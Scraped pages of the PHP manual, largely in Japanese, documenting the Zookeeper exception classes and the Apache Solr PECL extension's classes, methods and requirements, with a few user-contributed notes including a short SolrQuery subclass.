The ZookeeperOperationTimeoutException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper operation timeout exception handling class.

クラス概要

ZookeeperOperationTimeoutException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperSessionException class

(PECL zookeeper >= 0.3.0)

はじめに

The ZooKeeper session exception handling class.

クラス概要

ZookeeperSessionException extends ZookeeperException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


検索エンジン用の拡張モジュール

  • Solr — Apache Solr
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Solr 関数
    • 例
    • SolrUtils — SolrUtils クラス
    • SolrInputDocument — SolrInputDocument クラス
    • SolrDocument — The SolrDocument class
    • SolrDocumentField — SolrDocumentField クラス
    • SolrObject — SolrObject クラス
    • SolrClient — The SolrClient class
    • SolrResponse — SolrResponse クラス
    • SolrQueryResponse — SolrQueryResponse クラス
    • SolrUpdateResponse — SolrUpdateResponse クラス
    • SolrPingResponse — SolrPingResponse クラス
    • SolrGenericResponse — SolrGenericResponse クラス
    • SolrParams — SolrParams クラス
    • SolrModifiableParams — SolrModifiableParams クラス
    • SolrQuery — The SolrQuery class
    • SolrDisMaxQuery — The SolrDisMaxQuery class
    • SolrCollapseFunction — The SolrCollapseFunction class
    • SolrException — SolrException クラス
    • SolrClientException — SolrClientException クラス
    • SolrServerException — SolrServerException クラス
    • SolrIllegalArgumentException — SolrIllegalArgumentException クラス
    • SolrIllegalOperationException — SolrIllegalOperationException クラス
    • SolrMissingMandatoryParameterException — The SolrMissingMandatoryParameterException class
  • Sphinx — Sphinx クライアント
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • SphinxClient — SphinxClient クラス

User Contributed Notes

There are no user contributed notes for this page.


Apache Solr

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Solr 関数
    • solr_get_version — Apache Solr エクステンションの現行バージョンを返す
  • 例
  • SolrUtils — SolrUtils クラス
    • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
    • SolrUtils::escapeQueryChars — Escapes a lucene query string
    • SolrUtils::getSolrVersion — Solr エクステンションの現行バージョンを返す
    • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string
  • SolrInputDocument — SolrInputDocument クラス
    • SolrInputDocument::addChildDocument — Adds a child document for block indexing
    • SolrInputDocument::addChildDocuments — Adds an array of child documents
    • SolrInputDocument::addField — 文書にフィールドを追加
    • SolrInputDocument::clear — 入力した文書をリセット
    • SolrInputDocument::__clone — SolrDocument のコピーを作成
    • SolrInputDocument::__construct — コンストラクタ
    • SolrInputDocument::deleteField — 文書からフィールドを除去
    • SolrInputDocument::__destruct — デストラクタ
    • SolrInputDocument::fieldExists — フィールドが存在するかチェック
    • SolrInputDocument::getBoost — 文書に対する現行の boost 値を取得
    • SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)
    • SolrInputDocument::getChildDocumentsCount — Returns the number of child documents
    • SolrInputDocument::getField — 名前でフィールドを取得
    • SolrInputDocument::getFieldBoost — 特定のフィールドに対する boost 値を取得
    • SolrInputDocument::getFieldCount — 文書内のフィールド数を返す
    • SolrInputDocument::getFieldNames — 文書内のフィールドを全て含む配列を返す
    • SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents
    • SolrInputDocument::merge — Merges one input document into another
    • SolrInputDocument::reset — これは、SolrInputDocument::clear のエイリアスです
    • SolrInputDocument::setBoost — この文書に対する boost 値を設定
    • SolrInputDocument::setFieldBoost — フィールドに対するインデキシング時間の boost 値を設定
    • SolrInputDocument::sort — Sorts the fields within the document
    • SolrInputDocument::toArray — 入力した文書の配列表現を返す
  • SolrDocument — The SolrDocument class
    • SolrDocument::addField — 文書にフィールドを追加
    • SolrDocument::clear — Drops all the fields in the document
    • SolrDocument::__clone — SolrDocument オブジェクトのコピーを作成
    • SolrDocument::__construct — コンストラクタ
    • SolrDocument::current — 現行のフィールドを取得
    • SolrDocument::deleteField — 文書からフィールドを除去
    • SolrDocument::__destruct — デストラクタ
    • SolrDocument::fieldExists — Checks if a field exists in the document
    • SolrDocument::__get — プロパティとしてフィールドにアクセス
    • SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)
    • SolrDocument::getChildDocumentsCount — Returns the number of child documents
    • SolrDocument::getField — 名前でフィールドを取得
    • SolrDocument::getFieldCount — この文書内のフィールド数を返す
    • SolrDocument::getFieldNames — 文書内のフィールド名の配列を返す
    • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
    • SolrDocument::hasChildDocuments — Checks whether the document has any child documents
    • SolrDocument::__isset — フィールドが存在するかチェック
    • SolrDocument::key — 現行のキーを返す
    • SolrDocument::merge — Merges source to the current SolrDocument
    • SolrDocument::next — 内部ポインタを次のフィールドに移動
    • SolrDocument::offsetExists — 特定のフィールドが存在するかどうかチェック
    • SolrDocument::offsetGet — フィールドを取得
    • SolrDocument::offsetSet — 文書にフィールドを追加
    • SolrDocument::offsetUnset — フィールドを除去
    • SolrDocument::reset — SolrDocument::clear()へのエイリアス
    • SolrDocument::rewind — 内部ポインタを先頭にリセット
    • SolrDocument::serialize — カスタムのシリアライズで使われます
    • SolrDocument::__set — Adds another field to the document
    • SolrDocument::sort — Sorts the fields in the document
    • SolrDocument::toArray — 文書の配列表現を返す
    • SolrDocument::unserialize — Custom serialization of SolrDocument objects
    • SolrDocument::__unset — 文書からフィールドを除去
    • SolrDocument::valid — Checks if the current position internally is still valid
  • SolrDocumentField — SolrDocumentField クラス
    • SolrDocumentField::__construct — コンストラクタ
    • SolrDocumentField::__destruct — デストラクタ
  • SolrObject — SolrObject クラス
    • SolrObject::__construct — Solr オブジェクトを生成
    • SolrObject::__destruct — デストラクタ
    • SolrObject::getPropertyNames — 全てのプロパティ名の配列を返す
    • SolrObject::offsetExists — プロパティが存在するかチェック
    • SolrObject::offsetGet — プロパティを取得するために使用される
    • SolrObject::offsetSet — プロパティに対して値を設定
    • SolrObject::offsetUnset — プロパティに対して値の設定を解除
  • SolrClient — The SolrClient class
    • SolrClient::addDocument — Adds a document to the index
    • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
    • SolrClient::commit — Finalizes all add/deletes made to the index
    • SolrClient::__construct — Constructor for the SolrClient object
    • SolrClient::deleteById — Delete by Id
    • SolrClient::deleteByIds — Deletes by Ids
    • SolrClient::deleteByQueries — Removes all documents matching any of the queries
    • SolrClient::deleteByQuery — Deletes all documents matching the given query
    • SolrClient::__destruct — SolrClient に対するデストラクタ
    • SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getDebug — Returns the debug data for the last connection attempt
    • SolrClient::getOptions — Returns the client options set internally
    • SolrClient::optimize — Defragments the index
    • SolrClient::ping — Checks if Solr server is still up
    • SolrClient::query — Sends a query to the server
    • SolrClient::request — Sends a raw update request
    • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
    • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
    • SolrClient::setServlet — Changes the specified servlet type to a new value
    • SolrClient::system — Retrieve Solr Server information
    • SolrClient::threads — スレッドの状態をチェック
  • SolrResponse — SolrResponse クラス
    • SolrResponse::getDigestedResponse — シリアライズされた PHP データとして XML レスポンスを返す
    • SolrResponse::getHttpStatus — レスポンスの HTTP ステータスを返す
    • SolrResponse::getHttpStatusMessage — HTTP ステータスに関する詳細を返す
    • SolrResponse::getRawRequest — Solr サーバーに送られた生のリクエストを返す
    • SolrResponse::getRawRequestHeaders — Solr サーバーに送られた生のリクエストヘッダを返す
    • SolrResponse::getRawResponse — Solr サーバーからの生のレスポンスを返す
    • SolrResponse::getRawResponseHeaders — Solr サーバーからの生のレスポンスヘッダを返す
    • SolrResponse::getRequestUrl — リクエストが送られた完全な URL を返す
    • SolrResponse::getResponse — サーバーからの XML レスポンスを表現する SolrObject を返す
    • SolrResponse::setParseMode — パースモードを設定
    • SolrResponse::success — リクエストが成功したか
  • SolrQueryResponse — SolrQueryResponse クラス
    • SolrQueryResponse::__construct — コンストラクタ
    • SolrQueryResponse::__destruct — デストラクタ
  • SolrUpdateResponse — SolrUpdateResponse クラス
    • SolrUpdateResponse::__construct — コンストラクタ
    • SolrUpdateResponse::__destruct — デストラクタ
  • SolrPingResponse — SolrPingResponse クラス
    • SolrPingResponse::__construct — コンストラクタ
    • SolrPingResponse::__destruct — デストラクタ
    • SolrPingResponse::getResponse — サーバーからのレスポンスを返す
  • SolrGenericResponse — SolrGenericResponse クラス
    • SolrGenericResponse::__construct — コンストラクタ
    • SolrGenericResponse::__destruct — デストラクタ
  • SolrParams — SolrParams クラス
    • SolrParams::add — これは、SolrParams::addParam に対するエイリアスです
    • SolrParams::addParam — オブジェクトにパラメータを追加
    • SolrParams::get — これは、SolrParams::getParam に対するエイリアスです。
    • SolrParams::getParam — パラメータ値を返す
    • SolrParams::getParams — URL エンコードされていないパラメータの配列を返す
    • SolrParams::getPreparedParams — URL エンコードされたパラメータの配列を返す
    • SolrParams::serialize — カスタムのシリアライズで使われます
    • SolrParams::set — SolrParams::setParam のエイリアス
    • SolrParams::setParam — パラメータを指定された値に設定
    • SolrParams::toString — オブジェクト内の名前と値のペアのパラメータを全て返します
    • SolrParams::unserialize — カスタムのシリアライズで使われます
  • SolrModifiableParams — SolrModifiableParams クラス
    • SolrModifiableParams::__construct — コンストラクタ
    • SolrModifiableParams::__destruct — デストラクタ
  • SolrQuery — The SolrQuery class
    • SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group
    • SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)
    • SolrQuery::addFacetDateField — Maps to facet.date
    • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
    • SolrQuery::addFacetField — Adds another field to the facet
    • SolrQuery::addFacetQuery — Adds a facet query
    • SolrQuery::addField — Specifies which fields to return in the result
    • SolrQuery::addFilterQuery — Specifies a filter query
    • SolrQuery::addGroupField — Add a field to be used to group results
    • SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)
    • SolrQuery::addGroupQuery — Allows grouping of documents that match the given query
    • SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)
    • SolrQuery::addHighlightField — Maps to hl.fl
    • SolrQuery::addMltField — Sets a field to use for similarity
    • SolrQuery::addMltQueryField — Maps to mlt.qf
    • SolrQuery::addSortField — Used to control how the results should be sorted
    • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
    • SolrQuery::addStatsField — Maps to stats.field parameter
    • SolrQuery::collapse — Collapses the result set to a single document per group
    • SolrQuery::__construct — コンストラクタ
    • SolrQuery::__destruct — デストラクタ
    • SolrQuery::getExpand — Returns true if group expanding is enabled
    • SolrQuery::getExpandFilterQueries — Returns the expand filter queries
    • SolrQuery::getExpandQuery — Returns the expand query expand.q parameter
    • SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)
    • SolrQuery::getExpandSortFields — Returns an array of fields
    • SolrQuery::getFacet — Returns the value of the facet parameter
    • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
    • SolrQuery::getFacetDateFields — Returns all the facet.date fields
    • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
    • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
    • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
    • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
    • SolrQuery::getFacetFields — Returns all the facet fields
    • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
    • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
    • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
    • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
    • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
    • SolrQuery::getFacetPrefix — Returns the facet prefix
    • SolrQuery::getFacetQueries — Returns all the facet queries
    • SolrQuery::getFacetSort — Returns the facet sort type
    • SolrQuery::getFields — Returns the list of fields that will be returned in the response
    • SolrQuery::getFilterQueries — Returns an array of filter queries
    • SolrQuery::getGroup — Returns true if grouping is enabled
    • SolrQuery::getGroupCachePercent — Returns group cache percent value
    • SolrQuery::getGroupFacet — Returns the group.facet parameter value
    • SolrQuery::getGroupFields — Returns group fields (group.field parameter values)
    • SolrQuery::getGroupFormat — Returns the group.format value
    • SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)
    • SolrQuery::getGroupLimit — Returns the group.limit value
    • SolrQuery::getGroupMain — Returns the group.main value
    • SolrQuery::getGroupNGroups — Returns the group.ngroups value
    • SolrQuery::getGroupOffset — Returns the group.offset value
    • SolrQuery::getGroupQueries — Returns all the group.query parameter values
    • SolrQuery::getGroupSortFields — Returns the group.sort value
    • SolrQuery::getGroupTruncate — Returns the group.truncate value
    • SolrQuery::getHighlight — Returns the state of the hl parameter
    • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
    • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
    • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
    • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
    • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
    • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
    • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
    • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
    • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
    • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
    • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
    • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
    • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
    • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
    • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
    • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
    • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
    • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
    • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
    • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
    • SolrQuery::getMltFields — Returns all the fields to use for similarity
    • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
    • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
    • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
    • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
    • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
    • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
    • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
    • SolrQuery::getQuery — 主なクエリーを返す
    • SolrQuery::getRows — Returns the maximum number of documents
    • SolrQuery::getSortFields — Returns all the sort fields
    • SolrQuery::getStart — Returns the offset in the complete result set
    • SolrQuery::getStats — Returns whether or not stats is enabled
    • SolrQuery::getStatsFacets — Returns all the stats facets that were set
    • SolrQuery::getStatsFields — Returns all the statistics fields
    • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
    • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
    • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
    • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
    • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
    • SolrQuery::getTermsLowerBound — Returns the term to start at
    • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
    • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
    • SolrQuery::getTermsPrefix — Returns the term prefix
    • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
    • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
    • SolrQuery::getTermsUpperBound — Returns the term to stop at
    • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
    • SolrQuery::removeExpandFilterQuery — Removes an expand filter query
    • SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter
    • SolrQuery::removeFacetDateField — Removes one of the facet date fields
    • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
    • SolrQuery::removeFacetField — Removes one of the facet.date parameters
    • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
    • SolrQuery::removeField — Removes a field from the list of fields
    • SolrQuery::removeFilterQuery — Removes a filter query
    • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
    • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
    • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
    • SolrQuery::removeSortField — Removes one of the sort fields
    • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
    • SolrQuery::removeStatsField — Removes one of the stats.field parameters
    • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
    • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
    • SolrQuery::setExpand — Enables/Disables the Expand Component
    • SolrQuery::setExpandQuery — Sets the expand.q parameter
    • SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5
    • SolrQuery::setExplainOther — Sets the explainOther common query parameter
    • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
    • SolrQuery::setFacetDateEnd — Maps to facet.date.end
    • SolrQuery::setFacetDateGap — Maps to facet.date.gap
    • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
    • SolrQuery::setFacetDateStart — Maps to facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
    • SolrQuery::setFacetLimit — Maps to facet.limit
    • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
    • SolrQuery::setFacetMinCount — Maps to facet.mincount
    • SolrQuery::setFacetMissing — Maps to facet.missing
    • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
    • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
    • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
    • SolrQuery::setGroup — Enable/Disable result grouping (group parameter)
    • SolrQuery::setGroupCachePercent — Enables caching for result grouping
    • SolrQuery::setGroupFacet — Sets group.facet parameter
    • SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)
    • SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1
    • SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
    • SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results
    • SolrQuery::setGroupOffset — Sets the group.offset parameter
    • SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query
    • SolrQuery::setHighlight — Enables or disables highlighting
    • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
    • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
    • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
    • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
    • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
    • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
    • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
    • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
    • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
    • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
    • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
    • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
    • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
    • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
    • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
    • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
    • SolrQuery::setMlt — Enables or disables moreLikeThis
    • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
    • SolrQuery::setMltCount — Set the number of similar documents to return for each result
    • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
    • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
    • SolrQuery::setMltMaxWordLength — Sets the maximum word length
    • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
    • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
    • SolrQuery::setMltMinWordLength — Sets the minimum word length
    • SolrQuery::setOmitHeader — Exclude the header from the returned results
    • SolrQuery::setQuery — 検索クエリーを設定
    • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
    • SolrQuery::setShowDebugInfo — Flag to show debug information
    • SolrQuery::setStart — Specifies the number of rows to skip
    • SolrQuery::setStats — Enables or disables the Stats component
    • SolrQuery::setTerms — Enables or disables the TermsComponent
    • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
    • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
    • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
    • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
    • SolrQuery::setTermsLowerBound — Specifies the Term to start from
    • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
    • SolrQuery::setTermsMinCount — Sets the minimum document frequency
    • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
    • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
    • SolrQuery::setTermsSort — Specifies how to sort the returned terms
    • SolrQuery::setTermsUpperBound — Sets the term to stop at
    • SolrQuery::setTimeAllowed — The time allowed for search to finish
  • SolrDisMaxQuery — The SolrDisMaxQuery class
    • SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)
    • SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)
    • SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)
    • SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)
    • SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)
    • SolrDisMaxQuery::__construct — Class Constructor
    • SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)
    • SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)
    • SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)
    • SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)
    • SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)
    • SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)
    • SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)
    • SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)
    • SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)
    • SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)
    • SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)
    • SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)
    • SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)
    • SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)
    • SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)
    • SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)
    • SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser
    • SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax
  • SolrCollapseFunction — The SolrCollapseFunction class
    • SolrCollapseFunction::__construct — Constructor
    • SolrCollapseFunction::getField — Returns the field that is being collapsed on
    • SolrCollapseFunction::getHint — Returns collapse hint
    • SolrCollapseFunction::getMax — Returns max parameter
    • SolrCollapseFunction::getMin — Returns min parameter
    • SolrCollapseFunction::getNullPolicy — Returns null policy
    • SolrCollapseFunction::getSize — Returns size parameter
    • SolrCollapseFunction::setField — Sets the field to collapse on
    • SolrCollapseFunction::setHint — Sets collapse hint
    • SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query
    • SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::setNullPolicy — Sets the NULL Policy
    • SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function
  • SolrException — SolrException クラス
    • SolrException::getInternalInfo — 例外がスローされた際の内部情報を返す
  • SolrClientException — SolrClientException クラス
    • SolrClientException::getInternalInfo — 例外がスローされた際の内部情報を返す
  • SolrServerException — SolrServerException クラス
    • SolrServerException::getInternalInfo — 例外がスローされた際の内部情報を返す
  • SolrIllegalArgumentException — SolrIllegalArgumentException クラス
    • SolrIllegalArgumentException::getInternalInfo — 例外がスローされた際の内部情報を返す
  • SolrIllegalOperationException — SolrIllegalOperationException クラス
    • SolrIllegalOperationException::getInternalInfo — 例外がスローされた際の内部情報を返す
  • SolrMissingMandatoryParameterException — The SolrMissingMandatoryParameterException class

User Contributed Notes

ASchmidt at Anamera dot net 08-Mar-2019 07:28
This extension was last updated for PHP 7.1 three years ago.

As of this date, it has not been released for PHP 7.2 or PHP 7.3. In other words, it's not actively maintained.
mleczunio at yopmail dot com 14-Feb-2014 08:54
So, could ANYONE tell why this extension alwys ends with fatal error instead of exceptions? Examples:
Multi values tried to set on non-multivalued field
setQuery(): Invalid parameter value

Those are fatal errors! What is wrong with this extension?
Corentin Larose 21-Sep-2012 02:56
Hello,

you have to use SolrQuery::addFilterQuery() instead of SolrQuery::addFacetQuery() which is intended for another goal.

SolrQuery::addFilterQuery() : fq
SolrQuery::addFacetQuery() : facet.query

Regards,

Corentin Larose - CTO@QAPA
mixwise at gmail dot com 18-Sep-2011 06:19
solr_get_version(): 1.0.1
solr:3.3.0

I had problems trying to pass facet queries(fq not facet.query) using this extension.

So I made a work around by extending the SolrQuery class and adding a new method for fq.
<?php
class SolrQuery2 extends SolrQuery{
    public function addFQ($facetQuery){
        $this->addParam('fq', $facetQuery);
    }
}
?>


はじめに

Solr エクステンションにより、PHP で Apache Solr サーバーと効果的に通信できます。

Solr エクステンションは、PHP 開発者が Solr サーバーのインスタンスと効果的に通信できるようにする、とても速くて軽量で、豊富な機能を持つライブラリです。

PECL 拡張モジュールのバージョン 1.x は、Apache Solr Server 1.3 から 3.x までをサポートします。

PECL 拡張モジュールのバージョン 2.x は、Apache Solr Server 4.0 以降をサポートします。

文書を追加したり、Solr サーバーに更新を行なったりする組み込みツールがあります。

文書検索時に高度なクエリをサーバーに構築できるようにするツールも含みます。

User Contributed Notes

peter at softcoded dot com 01-Jul-2012 04:08
For more up to date information see: http://pecl.php.net/package/solr

"It [the  Apache Solr PHP extension] effectively simplifies the process of interacting with Apache Solr using PHP5 and it already comes with built-in readiness for the latest features added in Solr 3.1 ..."


要件

PHP Ver 5.2.11 以降が必要です。

Apache Solr エクステンションを使うには、 libxml および curl エクステンションも使える状態にしておく必要があります。

libxml2 2.6.31 以降が必要です。

libcurl 7.18.0 以降も必要です。

上記のライブラリのバージョンが必要です。コードをハックして何とかコンパイルしようとするのはおすすめしません。 きっとエラーが出て失敗するだろうし、そのデバッグも難しくなるでしょう。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

